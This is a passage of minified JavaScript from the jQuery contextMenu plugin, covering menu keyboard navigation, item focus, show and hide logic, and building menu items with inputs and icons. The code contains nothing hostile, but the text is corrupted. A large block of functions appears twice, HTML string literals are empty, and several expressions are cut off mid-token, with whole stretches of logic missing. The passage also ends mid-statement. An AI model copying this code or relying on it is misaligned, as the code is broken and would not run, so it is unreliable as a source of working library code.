a=n.$menu.children(),s=n.$selected&&n.$selected.prev().length?n.$selected.prev():a.last(),i=s;s.hasClass(o.classNames.disabled)||s.hasClass(o.classNames.notSelectable)||s.is(":hidden");)if((s=s.prev().length?s.prev():a.last()).is(i))return;n.$selected&&b.itemMouseleave.call(n.$selected.get(0),e),b.itemMouseenter.call(s.get(0),e);e=s.find("input, textarea, select");e.length&&e.focus()},nextItem:function(e){e.stopPropagation();var t,n=d(this).data("contextMenu")||{},o=d(this).data("contextMenuRoot")||{};n.$selected&&(t=n.$selected,(n=n.$selected.parent().data("contextMenu")||{}).$selected=t);for(var a=n.$menu.children(),s=n.$selected&&n.$selected.next().length?n.$selected.next():a.first(),i=s;s.hasClass(o.classNames.disabled)||s.hasClass(o.classNames.notSelectable)||s.is(":hidden");)if((s=s.next().length?s.next():a.first()).is(i))return;n.$selected&&b.itemMouseleave.call(n.$selected.get(0),e),b.itemMouseenter.call(s.get(0),e);e=s.find("input, textarea, select");e.length&&e.focus()},focusInput:function(){var e=d(this).closest(".context-menu-item"),t=e.data(),n=t.contextMenu,t=t.contextMenuRoot;t.$selected=n.$selected=e,t.isInput=n.isInput=!0},blurInput:function(){var e=d(this).closest(".context-menu-item").data(),t=e.contextMenu;e.contextMenuRoot.isInput=t.isInput=!1},menuMouseenter:function(){d(this).data().contextMenuRoot.hovering=!0},menuMouseleave:function(e){var t=d(this).data().contextMenuRoot;t.$layer&&t.$layer.is(e.relatedTarget)&&(t.hovering=!1)},itemMouseenter:function(e){var t=d(this),n=t.data(),o=n.contextMenu,n=n.contextMenuRoot;n.hovering=!0,e&&n.$layer&&n.$layer.is(e.relatedTarget)&&(e.preventDefault(),e.stopImmediatePropagation()),(o.$menu?o:n).$menu.children("."+n.classNames.hover).trigger("contextmenu:blur").children(".hover").trigger("contextmenu:blur"),t.hasClass(n.classNames.disabled)||t.hasClass(n.classNames.notSelectable)?o.$selected=null:t.trigger("contextmenu:focus")},itemMouseleave:function(e){var t=d(this),n=t.data(),o=n.contextMenu,n=n.contextMenuRoot;if(n!==o&&n.$layer&&n.$layer.is(e.relatedTarget))return void 0!==n.$selected&&null!==n.$selected&&n.$selected.trigger("contextmenu:blur"),e.preventDefault(),e.stopImmediatePropagation(),void(n.$selected=o.$selected=o.$node);o&&o.$menu&&o.$menu.hasClass("context-menu-visible")||t.trigger("contextmenu:blur")},itemClick:function(e){var t,n=d(this),o=n.data(),a=o.contextMenu,s=o.contextMenuRoot,o=o.contextMenuKey;if(!(!a.items[o]||n.is("."+s.classNames.disabled+", .context-menu-separator, ."+s.classNames.notSelectable)||n.is(".context-menu-submenu")&&!1===s.selectableSubMenu)){if(e.preventDefault(),e.stopImmediatePropagation(),d.isFunction(a.callbacks[o])&&Object.prototype.hasOwnProperty.call(a.callbacks,o))t=a.callbacks[o];else{if(!d.isFunction(s.callback))return;t=s.callback}!1!==t.call(s.$trigger,o,s,e)?s.$menu.trigger("contextmenu:hide"):s.$menu.parent().length&&$.update.call(s.$trigger,s)}},inputClick:function(e){e.stopImmediatePropagation()},hideMenu:function(e,t){var n=d(this).data("contextMenuRoot");$.hide.call(n.$trigger,n,t&&t.force)},focusItem:function(e){e.stopPropagation();var t=d(this),n=t.data(),e=n.contextMenu,n=n.contextMenuRoot;t.hasClass(n.classNames.disabled)||t.hasClass(n.classNames.notSelectable)||(t.addClass([n.classNames.hover,n.classNames.visible].join(" ")).parent().find(".context-menu-item").not(t).removeClass(n.classNames.visible).filter("."+n.classNames.hover).trigger("contextmenu:blur"),e.$selected=n.$selected=t,e&&e.$node&&e.$node.hasClass("context-menu-submenu")&&e.$node.addClass(n.classNames.hover),e.$node&&n.positionSubmenu.call(e.$node,e.$menu))},blurItem:function(e){e.stopPropagation();var t=d(this),n=t.data(),e=n.contextMenu,n=n.contextMenuRoot;e.autoHide&&t.removeClass(n.classNames.visible),t.removeClass(n.classNames.hover),e.$selected=null}},$={show:function(n,e,t){var o=d(this),a={};d("#context-menu-layer").trigger("mousedown"),n.$trigger=o,!1!==n.events.show.call(o,n)&&!1!==$.update.call(o,n)?(n.position.call(o,n,e,t),n.zIndex&&(t=n.zIndex,"function"==typeof n.zIndex&&(t=n.zIndex.call(o,n)),a.zIndex=function(e){for(var t=0,n=e;t=Math.max(t,parseInt(n.css("z-index"),10)||0),(n=n.parent())&&n.length&&!(-1<"html body".indexOf(n.prop("nodeName").toLowerCase())););return t}(o)+t),$.layer.call(n.$menu,n,a.zIndex),n.$menu.find("ul").css("zIndex",a.zIndex+1),n.$menu.css(a)[n.animation.show](n.animation.duration,function(){o.trigger("contextmenu:visible"),$.activated(n),n.events.activated(n)}),o.data("contextMenu",n).addClass("context-menu-active"),d(document).off("keydown.contextMenu").on("keydown.contextMenu",b.key),n.autoHide&&d(document).on("mousemove.contextMenuAutoHide",function(e){var t=n.$menu.offset();t.left=t.left-15,t.right=t.left+n.$menu.outerWidth()+15,t.top=t.top-15,t.bottom=t.top+n.$menu.outerHeight()+15,!n.$layer||n.hovering||e.pageX>=t.left&&e.pageX<=t.right&&e.pageY>=t.top&&e.pageY<=t.bottom||setTimeout(function(){n.hovering||null===n.$menu||void 0===n.$menu||n.$menu.trigger("contextmenu:hide")},50)})):i=null},hide:function(t,e){var n,o=d(this);if(t=t||(o.data("contextMenu")||{}),e||!t.events||!1!==t.events.hide.call(o,t)){if(o.removeData("contextMenu").removeClass("context-menu-active"),t.$layer){setTimeout((n=t.$layer,function(){n.remove()}),10);try{delete t.$layer}catch(e){t.$layer=null}}i=null,t.$menu.find("."+t.classNames.hover).trigger("contextmenu:blur"),t.$selected=null,t.$menu.find("."+t.classNames.visible).removeClass(t.classNames.visible),d(document).off(".contextMenuAutoHide").off("keydown.contextMenu"),t.$menu&&t.$menu[t.animation.hide](t.animation.duration,function(){t.build&&(t.$menu.remove(),d.each(t,function(e){switch(e){case"ns":case"selector":case"build":case"trigger":return!0;default:t[e]=void 0;try{delete t[e]}catch(e){}return!0}})),setTimeout(function(){o.trigger("contextmenu:hidden")},10)})}},create:function(l,r){function u(e){var t=d("");if(e._accesskey)e._beforeAccesskey&&t.append(document.createTextNode(e._beforeAccesskey)),d("").addClass("context-menu-accesskey").text(e._accesskey).appendTo(t),e._afterAccesskey&&t.append(document.createTextNode(e._afterAccesskey));else if(e.isHtmlName){if(void 0!==e.accesskey)throw new Error("accesskeys are not compatible with HTML names and cannot be used together in the same item");t.html(e.name)}else t.text(e.name);return t}void 0===r&&(r=l),l.$menu=d('').addClass(l.className||"").data({contextMenu:l,contextMenuRoot:r}),l.dataAttr&&d.each(l.dataAttr,function(e,t){l.$menu.attr("data-"+l.key,t)}),d.each(["callbacks","commands","inputs"],function(e,t){l[t]={},r[t]||(r[t]={})}),r.accesskeys||(r.accesskeys={}),d.each(l.items,function(n,o){var e=d('
  • ').addClass(o.className||""),t=null,a=null;if(e.on("click",d.noop),"string"!=typeof o&&"cm_separator"!==o.type||(o={type:"cm_seperator"}),o.$node=e.data({contextMenu:l,contextMenuRoot:r,contextMenuKey:n}),void 0!==o.accesskey)for(var s=function(e){for(var t,n=e.split(/\s+/),o=[],a=0;t=n[a];a++)t=t.charAt(0).toUpperCase(),o.push(t);return o}(o.accesskey),i=0;c=s[i];i++)if(!r.accesskeys[c]){var c=(r.accesskeys[c]=o).name.match(new RegExp("^(.*?)("+c+")(.*)$","i"));c&&(o._beforeAccesskey=c[1],o._accesskey=c[2],o._afterAccesskey=c[3]);break}if(o.type&&x[o.type])x[o.type].call(e,o,l,r),d.each([l,r],function(e,t){t.commands[n]=o,!d.isFunction(o.callback)||void 0!==t.callbacks[n]&&void 0!==l.type||(t.callbacks[n]=o.callback)});else{switch("cm_seperator"===o.type?e.addClass("context-menu-separator "+r.classNames.notSelectable):"html"===o.type?e.addClass("context-menu-html "+r.classNames.notSelectable):"sub"!==o.type&&o.type?(t=d("").appendTo(e),u(o).appendTo(t),e.addClass("context-menu-input"),l.hasTypes=!0,d.each([l,r],function(e,t){t.commands[n]=o,t.inputs[n]=o})):o.items&&(o.type="sub"),o.type){case"cm_seperator":break;case"text":a=d('').attr("name","context-menu-input-"+n).val(o.value||"").appendTo(t);break;case"textarea":a=d('').attr("name","context-menu-input-"+n).val(o.value||"").appendTo(t),o.height&&a.height(o.height);break;case"checkbox":a=d('').attr("name","context-menu-input-"+n).val(o.value||"").prop("checked",!!o.selected).prependTo(t);break;case"radio":a=d('').attr("name","context-menu-input-"+o.radio).val(o.value||"").prop("checked",!!o.selected).prependTo(t);break;case"select":a=d('').attr("name","context-menu-input-"+n).appendTo(t),o.options&&(d.each(o.options,function(e,t){d("").val(e).text(t).appendTo(a)}),a.val(o.selected));break;case"sub":u(o).appendTo(e),o.appendTo=o.$node,e.data("contextMenu",o).addClass("context-menu-submenu"),o.callback=null,"function"==typeof o.items.then?$.processPromises(o,r,o.items):$.create(o,r);break;case"html":d(o.html).appendTo(e);break;default:d.each([l,r],function(e,t){t.commands[n]=o,!d.isFunction(o.callback)||void 0!==t.callbacks[n]&&void 0!==l.type||(t.callbacks[n]=o.callback)}),u(o).appendTo(e)}o.type&&"sub"!==o.type&&"html"!==o.type&&"cm_seperator"!==o.type&&(a.on("focus",b.focusInput).on("blur",b.blurInput),o.events&&a.on(o.events,l)),o.icon&&(d.isFunction(o.icon)?o._icon=o.icon.call(this,this,e,n,o):"string"!=typeof o.icon||"fab "!==o.icon.substring(0,4)&&"fas "!==o.icon.substring(0,4)&&"fad "!==o.icon.substring(0,4)&&"far "!==o.icon.substring(0,4)&&"fal "!==o.icon.substring(0,4)?"string"==typeof o.icon&&"fa-"===o.icon.substring(0,3)?o._icon=r.classNames.icon+" "+r.classNames.icon+"--fa fa "+o.icon:o._icon=r.classNames.icon+" "+r.classNames.icon+"-"+o.icon:(e.addClass(r.classNames.icon+" "+r.classNames.icon+"--fa5"),o._icon=d('')),"string"==typeof o._icon?e.addClass(o._icon):e.prepend(o._icon))}o.$input=a,o.$label=t,e.appendTo(l.$menu),!l.hasTypes&&d.support.eventSelectstart&&e.on("selectstart.disableTextSelect",b.abortevent)}),l.$node||l.$menu.css("display","none").addClass("context-menu-root"),l.$menu.appendTo(l.appendTo||document.body)},resize:function(e,t){var n;e.css({position:"absolute",display:"block"}),e.data("width",(n=e.get(0)).getBoundingClientRect?Math.ceil(n.getBoundingClientRect().width):e.outerWidth()+1),e.css({position:"static",minWidth:"0px",maxWidth:"100000px"}),e.find("> li > ul").each(function(){$.resize(d(this),!0)}),t||e.find("ul").addBack().css({position:"",display:"",minWidth:"",maxWidth:""}).outerWidth(function(){return d(this).data("width")})},update:function(s,i){var c=this;void 0===i&&(i=s,$.resize(s.$menu));var l=!1;return s.$menu.children().each(function(){var e=d(this),t=e.data("contextMenuKey"),n=s.items[t],o=d.isFunction(n.disabled)&&n.disabled.call(c,t,i)||!0===n.disabled,a=d.isFunction(n.visible)?n.visible.call(c,t,i):void 0===n.visible||!0===n.visible;if(a&&(l=!0),e[a?"show":"hide"](),e[o?"addClass":"removeClass"](i.classNames.disabled),d.isFunction(n.icon)&&(e.removeClass(n._icon),"string"==typeof(t=n.icon.call(this,c,e,t,n))?e.addClass(t):e.prepend(t)),n.type)switch(e.find("input, select, textarea").prop("disabled",o),n.type){case"text":case"textarea":n.$input.val(n.value||"");break;case"checkbox":case"radio":n.$input.val(n.value||"").prop("checked",!!n.selected);break;case"select":n.$input.val((0===n.selected?"0":n.selected)||"")}n.$menu&&$.update.call(c,n,i)&&(l=!0)}),l},layer:function(e,t){e=e.$layer=d('
    ').css({height:p.height(),width:p.width(),display:"block",position:"fixed","z-index":t-1,top:0,left:0,opacity:0,filter:"alpha(opacity=0)","background-color":"#000"}).data("contextMenuRoot",e).appendTo(document.body).on("contextmenu",b.abortevent).on("mousedown",b.layerClick);return void 0===document.body.style.maxWidth&&e.css({position:"absolute",height:d(document).height()}),e},processPromises:function(e,t,n){function o(e,t,n){void 0===n?(n={error:{name:"No items and no error item",icon:"context-menu-icon context-menu-icon-quit"}},window.console&&(console.error||console.log).call(console,'When you reject a promise, provide an "items" object, equal to normal sub-menu items')):"string"==typeof n&&(n={error:{name:n}}),a(e,t,n)}function a(e,t,n){void 0!==t.$menu&&t.$menu.is(":visible")&&(e.$node.removeClass(t.classNames.iconLoadingClass),e.items=n,$.create(e,t,!0),$.update(e,t),t.positionSubmenu.call(e.$node,e.$menu))}e.$node.addClass(t.classNames.iconLoadingClass),n.then(function(e,t,n){void 0===n&&o(void 0),a(e,t,n)}.bind(this,e,t),o.bind(this,e,t))},activated:function(e){var t=e.$menu,n=t.offset(),o=d(window).height(),a=d(window).scrollTop(),e=t.height();oa+o)&&t.css({top:a+"px"})}};function l(e){return e.id&&d('label[for="'+e.id+'"]').val()||e.name}d.fn.contextMenu=function(e){var t,n=this,o=e;return 0a&&(o.top-=t),o.top<0&&(o.top=0),o.left+s>n&&(o.left-=s),o.left<0&&(o.left=0),e.$menu.css(o)):e.determinePosition.call(this,e.$menu)},positionSubmenu:function(e){var t;void 0!==e&&(d.ui&&d.ui.position?e.css("display","block").position({my:"left top-5",at:"right top",of:this,collision:"flipfit fit"}).css("display",""):(t={top:-9,left:this.outerWidth()-5},e.css(t)))},zIndex:1,animation:{duration:50,show:"slideDown",hide:"slideUp"},events:{preShow:d.noop,show:d.noop,hide:d.noop,activated:d.noop},callback:null,items:{}},s={timer:null,pageX:null,pageY:null},b={abortevent:function(e){e.preventDefault(),e.stopImmediatePropagation()},contextmenu:function(e){var t=d(this);if(!1!==e.data.events.preShow(t,e)&&("right"===e.data.trigger&&(e.preventDefault(),e.stopImmediatePropagation()),!("right"!==e.data.trigger&&"demand"!==e.data.trigger&&e.originalEvent||!(void 0===e.mouseButton||!e.data||"left"===e.data.trigger&&0===e.mouseButton||"right"===e.data.trigger&&2===e.mouseButton)||t.hasClass("context-menu-active")||t.hasClass("context-menu-disabled")))){if(i=t,e.data.build){var n=e.data.build(i,e);if(!1===n)return;if(e.data=d.extend(!0,{},v,e.data,n||{}),!e.data.items||d.isEmptyObject(e.data.items))throw window.console&&(console.error||console.log).call(console,"No items specified to show in contextMenu"),new Error("No Items specified");e.data.$trigger=i,$.create(e.data)}$.show.call(t,e.data,e.pageX,e.pageY)}},click:function(e){e.preventDefault(),e.stopPropagation(),e.stopImmediatePropagation(),d(this).trigger(d.Event("contextmenu",{data:e.data,pageX:e.pageX,pageY:e.pageY}))},mousedown:function(e){var t=d(this);i&&i.length&&!i.is(t)&&i.data("contextMenu").$menu.trigger("contextmenu:hide"),2===e.button&&(i=t.data("contextMenuActive",!0))},mouseup:function(e){var t=d(this);t.data("contextMenuActive")&&i&&i.length&&i.is(t)&&!t.hasClass("context-menu-disabled")&&(e.preventDefault(),e.stopImmediatePropagation(),(i=t).trigger(d.Event("contextmenu",{data:e.data,pageX:e.pageX,pageY:e.pageY}))),t.removeData("contextMenuActive")},mouseenter:function(e){var t=d(this),n=d(e.relatedTarget),o=d(document);n.is(".context-menu-list")||n.closest(".context-menu-list").length||i&&i.length||(s.pageX=e.pageX,s.pageY=e.pageY,s.data=e.data,o.on("mousemove.contextMenuShow",b.mousemove),s.timer=setTimeout(function(){s.timer=null,o.off("mousemove.contextMenuShow"),(i=t).trigger(d.Event("contextmenu",{data:s.data,pageX:s.pageX,pageY:s.pageY}))},e.data.delay))},mousemove:function(e){s.pageX=e.pageX,s.pageY=e.pageY},mouseleave:function(e){var t=d(e.relatedTarget);if(!t.is(".context-menu-list")&&!t.closest(".context-menu-list").length){try{clearTimeout(s.timer)}catch(e){}s.timer=null}},layerClick:function(o){var a,s,i=d(this).data("contextMenuRoot"),c=o.button,l=o.pageX,r=o.pageY,u=void 0===l;o.preventDefault(),o.stopImmediatePropagation(),o.stopPropagation(),setTimeout(function(){if(u)null!=i&&null!==i.$menu&&void 0!==i.$menu&&i.$menu.trigger("contextmenu:hide");else{var e,t,n="left"===i.trigger&&0===c||"right"===i.trigger&&2===c;if(document.elementFromPoint&&i.$layer&&(i.$layer.hide(),null!==(a=document.elementFromPoint(l-p.scrollLeft(),r-p.scrollTop()))&&a.isContentEditable&&(e=document.createRange(),t=window.getSelection(),e.selectNode(a),e.collapse(!0),t.removeAllRanges(),t.addRange(e)),d(a).trigger(o),i.$layer.show(),d(a).focus()),i.hideOnSecondTrigger&&n&&null!==i.$menu&&void 0!==i.$menu)i.$menu.trigger("contextmenu:hide");else{if(i.reposition&&n)if(document.elementFromPoint){if(i.$trigger.is(a))return void i.position.call(i.$trigger,i,l,r)}else if(s=i.$trigger.offset(),e=d(window),s.top+=e.scrollTop(),s.top<=o.pageY&&(s.left+=e.scrollLeft(),s.left<=o.pageX&&(s.bottom=s.top+i.$trigger.outerHeight(),s.bottom>=o.pageY&&(s.right=s.left+i.$trigger.outerWidth(),s.right>=o.pageX))))return void i.position.call(i.$trigger,i,l,r);a&&n&&i.$trigger.one("contextmenu:hidden",function(){d(a).contextMenu({x:l,y:r,button:c})}),null!=i&&null!==i.$menu&&void 0!==i.$menu&&i.$menu.trigger("contextmenu:hide")}}},50)},keyStop:function(e,t){t.isInput||e.preventDefault(),e.stopPropagation()},key:function(e){var t={};i&&(t=i.data("contextMenu")||{}),void 0===t.zIndex&&(t.zIndex=0);var n=0,o=function(e){""!==e.style.zIndex?n=e.style.zIndex:null!==e.offsetParent&&void 0!==e.offsetParent?o(e.offsetParent):null!==e.parentElement&&void 0!==e.parentElement&&o(e.parentElement)};if(o(e.target),!(t.$menu&&parseInt(n,10)>parseInt(t.$menu.css("zIndex"),10))){switch(e.keyCode){case 9:case 38:if(b.keyStop(e,t),t.isInput){if(9===e.keyCode&&e.shiftKey)return e.preventDefault(),t.$selected&&t.$selected.find("input, textarea, select").blur(),void(null!==t.$menu&&void 0!==t.$menu&&t.$menu.trigger("prevcommand"));if(38===e.keyCode&&"checkbox"===t.$selected.find("input, textarea, select").prop("type"))return void e.preventDefault()}else if(9!==e.keyCode||e.shiftKey)return void(null!==t.$menu&&void 0!==t.$menu&&t.$menu.trigger("prevcommand"));break;case 40:if(b.keyStop(e,t),!t.isInput)return void(null!==t.$menu&&void 0!==t.$menu&&t.$menu.trigger("nextcommand"));if(9===e.keyCode)return e.preventDefault(),t.$selected&&t.$selected.find("input, textarea, select").blur(),void(null!==t.$menu&&void 0!==t.$menu&&t.$menu.trigger("nextcommand"));if(40===e.keyCode&&"checkbox"===t.$selected.find("input, textarea, select").prop("type"))return void e.preventDefault();break;case 37:if(b.keyStop(e,t),t.isInput||!t.$selected||!t.$selected.length)break;if(t.$selected.parent().hasClass("context-menu-root"))break;var a=t.$selected.parent().parent();return t.$selected.trigger("contextmenu:blur"),void(t.$selected=a);case 39:if(b.keyStop(e,t),t.isInput||!t.$selected||!t.$selected.length)break;var s=t.$selected.data("contextMenu")||{};if(s.$menu&&t.$selected.hasClass("context-menu-submenu"))return t.$selected=null,s.$selected=null,void s.$menu.trigger("nextcommand");break;case 35:case 36:return t.$selected&&t.$selected.find("input, textarea, select").length?void 0:((t.$selected&&t.$selected.parent()||t.$menu).children(":not(."+t.classNames.disabled+", ."+t.classNames.notSelectable+")")[36===e.keyCode?"first":"last"]().trigger("contextmenu:focus"),void e.preventDefault());case 13:if(b.keyStop(e,t),t.isInput){if(t.$selected&&!t.$selected.is("textarea, select"))return void e.preventDefault();break}return void(void 0!==t.$selected&&null!==t.$selected&&t.$selected.trigger("mouseup"));case 32:case 33:case 34:return void b.keyStop(e,t);case 27:return b.keyStop(e,t),void(null!==t.$menu&&void 0!==t.$menu&&t.$menu.trigger("contextmenu:hide"));default:s=String.fromCharCode(e.keyCode).toUpperCase();if(t.accesskeys&&t.accesskeys[s])return void t.accesskeys[s].$node.trigger(t.accesskeys[s].$menu?"contextmenu:focus":"mouseup")}e.stopPropagation(),void 0!==t.$selected&&null!==t.$selected&&t.$selected.trigger(e)}},prevItem:function(e){e.stopPropagation();var t,n=d(this).data("contextMenu")||{},o=d(this).data("contextMenuRoot")||{};n.$selected&&(t=n.$selected,(n=n.$selected.parent().data("contextMenu")||{}).$selected=t);for(var a=n.$menu.children(),s=n.$selected&&n.$selected.prev().length?n.$selected.prev():a.last(),i=s;s.hasClass(o.classNames.disabled)||s.hasClass(o.classNames.notSelectable)||s.is(":hidden");)if((s=s.prev().length?s.prev():a.last()).is(i))return;n.$selected&&b.itemMouseleave.call(n.$selected.get(0),e),b.itemMouseenter.call(s.get(0),e);e=s.find("input, textarea, select");e.length&&e.focus()},nextItem:function(e){e.stopPropagation();var t,n=d(this).data("contextMenu")||{},o=d(this).data("contextMenuRoot")||{};n.$selected&&(t=n.$selected,(n=n.$selected.parent().data("contextMenu")||{}).$selected=t);for(var a=n.$menu.children(),s=n.$selected&&n.$selected.next().length?n.$selected.next():a.first(),i=s;s.hasClass(o.classNames.disabled)||s.hasClass(o.classNames.notSelectable)||s.is(":hidden");)if((s=s.next().length?s.next():a.first()).is(i))return;n.$selected&&b.itemMouseleave.call(n.$selected.get(0),e),b.itemMouseenter.call(s.get(0),e);e=s.find("input, textarea, select");e.length&&e.focus()},focusInput:function(){var e=d(this).closest(".context-menu-item"),t=e.data(),n=t.contextMenu,t=t.contextMenuRoot;t.$selected=n.$selected=e,t.isInput=n.isInput=!0},blurInput:function(){var e=d(this).closest(".context-menu-item").data(),t=e.contextMenu;e.contextMenuRoot.isInput=t.isInput=!1},menuMouseenter:function(){d(this).data().contextMenuRoot.hovering=!0},menuMouseleave:function(e){var t=d(this).data().contextMenuRoot;t.$layer&&t.$layer.is(e.relatedTarget)&&(t.hovering=!1)},itemMouseenter:function(e){var t=d(this),n=t.data(),o=n.contextMenu,n=n.contextMenuRoot;n.hovering=!0,e&&n.$layer&&n.$layer.is(e.relatedTarget)&&(e.preventDefault(),e.stopImmediatePropagation()),(o.$menu?o:n).$menu.children("."+n.classNames.hover).trigger("contextmenu:blur").children(".hover").trigger("contextmenu:blur"),t.hasClass(n.classNames.disabled)||t.hasClass(n.classNames.notSelectable)?o.$selected=null:t.trigger("contextmenu:focus")},itemMouseleave:function(e){var t=d(this),n=t.data(),o=n.contextMenu,n=n.contextMenuRoot;if(n!==o&&n.$layer&&n.$layer.is(e.relatedTarget))return void 0!==n.$selected&&null!==n.$selected&&n.$selected.trigger("contextmenu:blur"),e.preventDefault(),e.stopImmediatePropagation(),void(n.$selected=o.$selected=o.$node);o&&o.$menu&&o.$menu.hasClass("context-menu-visible")||t.trigger("contextmenu:blur")},itemClick:function(e){var t,n=d(this),o=n.data(),a=o.contextMenu,s=o.contextMenuRoot,o=o.contextMenuKey;if(!(!a.items[o]||n.is("."+s.classNames.disabled+", .context-menu-separator, ."+s.classNames.notSelectable)||n.is(".context-menu-submenu")&&!1===s.selectableSubMenu)){if(e.preventDefault(),e.stopImmediatePropagation(),d.isFunction(a.callbacks[o])&&Object.prototype.hasOwnProperty.call(a.callbacks,o))t=a.callbacks[o];else{if(!d.isFunction(s.callback))return;t=s.callback}!1!==t.call(s.$trigger,o,s,e)?s.$menu.trigger("contextmenu:hide"):s.$menu.parent().length&&$.update.call(s.$trigger,s)}},inputClick:function(e){e.stopImmediatePropagation()},hideMenu:function(e,t){var n=d(this).data("contextMenuRoot");$.hide.call(n.$trigger,n,t&&t.force)},focusItem:function(e){e.stopPropagation();var t=d(this),n=t.data(),e=n.contextMenu,n=n.contextMenuRoot;t.hasClass(n.classNames.disabled)||t.hasClass(n.classNames.notSelectable)||(t.addClass([n.classNames.hover,n.classNames.visible].join(" ")).parent().find(".context-menu-item").not(t).removeClass(n.classNames.visible).filter("."+n.classNames.hover).trigger("contextmenu:blur"),e.$selected=n.$selected=t,e&&e.$node&&e.$node.hasClass("context-menu-submenu")&&e.$node.addClass(n.classNames.hover),e.$node&&n.positionSubmenu.call(e.$node,e.$menu))},blurItem:function(e){e.stopPropagation();var t=d(this),n=t.data(),e=n.contextMenu,n=n.contextMenuRoot;e.autoHide&&t.removeClass(n.classNames.visible),t.removeClass(n.classNames.hover),e.$selected=null}},$={show:function(n,e,t){var o=d(this),a={};d("#context-menu-layer").trigger("mousedown"),n.$trigger=o,!1!==n.events.show.call(o,n)&&!1!==$.update.call(o,n)?(n.position.call(o,n,e,t),n.zIndex&&(t=n.zIndex,"function"==typeof n.zIndex&&(t=n.zIndex.call(o,n)),a.zIndex=function(e){for(var t=0,n=e;t=Math.max(t,parseInt(n.css("z-index"),10)||0),(n=n.parent())&&n.length&&!(-1<"html body".indexOf(n.prop("nodeName").toLowerCase())););return t}(o)+t),$.layer.call(n.$menu,n,a.zIndex),n.$menu.find("ul").css("zIndex",a.zIndex+1),n.$menu.css(a)[n.animation.show](n.animation.duration,function(){o.trigger("contextmenu:visible"),$.activated(n),n.events.activated(n)}),o.data("contextMenu",n).addClass("context-menu-active"),d(document).off("keydown.contextMenu").on("keydown.contextMenu",b.key),n.autoHide&&d(document).on("mousemove.contextMenuAutoHide",function(e){var t=n.$menu.offset();t.left=t.left-15,t.right=t.left+n.$menu.outerWidth()+15,t.top=t.top-15,t.bottom=t.top+n.$menu.outerHeight()+15,!n.$layer||n.hovering||e.pageX>=t.left&&e.pageX<=t.right&&e.pageY>=t.top&&e.pageY<=t.bottom||setTimeout(function(){n.hovering||null===n.$menu||void 0===n.$menu||n.$menu.trigger("contextmenu:hide")},50)})):i=null},hide:function(t,e){var n,o=d(this);if(t=t||(o.data("contextMenu")||{}),e||!t.events||!1!==t.events.hide.call(o,t)){if(o.removeData("contextMenu").removeClass("context-menu-active"),t.$layer){setTimeout((n=t.$layer,function(){n.remove()}),10);try{delete t.$layer}catch(e){t.$layer=null}}i=null,t.$menu.find("."+t.classNames.hover).trigger("contextmenu:blur"),t.$selected=null,t.$menu.find("."+t.classNames.visible).removeClass(t.classNames.visible),d(document).off(".contextMenuAutoHide").off("keydown.contextMenu"),t.$menu&&t.$menu[t.animation.hide](t.animation.duration,function(){t.build&&(t.$menu.remove(),d.each(t,function(e){switch(e){case"ns":case"selector":case"build":case"trigger":return!0;default:t[e]=void 0;try{delete t[e]}catch(e){}return!0}})),setTimeout(function(){o.trigger("contextmenu:hidden")},10)})}},create:function(l,r){function u(e){var t=d("");if(e._accesskey)e._beforeAccesskey&&t.append(document.createTextNode(e._beforeAccesskey)),d("").addClass("context-menu-accesskey").text(e._accesskey).appendTo(t),e._afterAccesskey&&t.append(document.createTextNode(e._afterAccesskey));else if(e.isHtmlName){if(void 0!==e.accesskey)throw new Error("accesskeys are not compatible with HTML names and cannot be used together in the same item");t.html(e.name)}else t.text(e.name);return t}void 0===r&&(r=l),l.$menu=d('').addClass(l.className||"").data({contextMenu:l,contextMenuRoot:r}),l.dataAttr&&d.each(l.dataAttr,function(e,t){l.$menu.attr("data-"+l.key,t)}),d.each(["callbacks","commands","inputs"],function(e,t){l[t]={},r[t]||(r[t]={})}),r.accesskeys||(r.accesskeys={}),d.each(l.items,function(n,o){var e=d('
  • ').addClass(o.className||""),t=null,a=null;if(e.on("click",d.noop),"string"!=typeof o&&"cm_separator"!==o.type||(o={type:"cm_seperator"}),o.$node=e.data({contextMenu:l,contextMenuRoot:r,contextMenuKey:n}),void 0!==o.accesskey)for(var s=function(e){for(var t,n=e.split(/\s+/),o=[],a=0;t=n[a];a++)t=t.charAt(0).toUpperCase(),o.push(t);return o}(o.accesskey),i=0;c=s[i];i++)if(!r.accesskeys[c]){var c=(r.accesskeys[c]=o).name.match(new RegExp("^(.*?)("+c+")(.*)$","i"));c&&(o._beforeAccesskey=c[1],o._accesskey=c[2],o._afterAccesskey=c[3]);break}if(o.type&&x[o.type])x[o.type].call(e,o,l,r),d.each([l,r],function(e,t){t.commands[n]=o,!d.isFunction(o.callback)||void 0!==t.callbacks[n]&&void 0!==l.type||(t.callbacks[n]=o.callback)});else{switch("cm_seperator"===o.type?e.addClass("context-menu-separator "+r.classNames.notSelectable):"html"===o.type?e.addClass("context-menu-html "+r.classNames.notSelectable):"sub"!==o.type&&o.type?(t=d("").appendTo(e),u(o).appendTo(t),e.addClass("context-menu-input"),l.hasTypes=!0,d.each([l,r],function(e,t){t.commands[n]=o,t.inputs[n]=o})):o.items&&(o.type="sub"),o.type){case"cm_seperator":break;case"text":a=d('').attr("name","context-menu-input-"+n).val(o.value||"").appendTo(t);break;case"textarea":a=d('').attr("name","context-menu-input-"+n).val(o.value||"").appendTo(t),o.height&&a.height(o.height);break;case"checkbox":a=d('').attr("name","context-menu-input-"+n).val(o.value||"").prop("checked",!!o.selected).prependTo(t);break;case"radio":a=d('').attr("name","context-menu-input-"+o.radio).val(o.value||"").prop("checked",!!o.selected).prependTo(t);break;case"select":a=d('').attr("name","context-menu-input-"+n).appendTo(t),o.options&&(d.each(o.options,function(e,t){d("").val(e).text(t).appendTo(a)}),a.val(o.selected));break;case"sub":u(o).appendTo(e),o.appendTo=o.$node,e.data("contextMenu",o).addClass("context-menu-submenu"),o.callback=null,"function"==typeof o.items.then?$.processPromises(o,r,o.items):$.create(o,r);break;case"html":d(o.html).appendTo(e);break;default:d.each([l,r],function(e,t){t.commands[n]=o,!d.isFunction(o.callback)||void 0!==t.callbacks[n]&&void 0!==l.type||(t.callbacks[n]=o.callback)}),u(o).appendTo(e)}o.type&&"sub"!==o.type&&"html"!==o.type&&"cm_seperator"!==o.type&&(a.on("focus",b.focusInput).on("blur",b.blurInput),o.events&&a.on(o.events,l)),o.icon&&(d.isFunction(o.icon)?o._icon=o.icon.call(this,this,e,n,o):"string"!=typeof o.icon||"fab "!==o.icon.substring(0,4)&&"fas "!==o.icon.substring(0,4)&&"fad "!==o.icon.substring(0,4)&&"far "!==o.icon.substring(0,4)&&"fal "!==o.icon.substring(0,4)?"string"==typeof o.icon&&"fa-"===o.icon.substring(0,3)?o._icon=r.classNames.icon+" 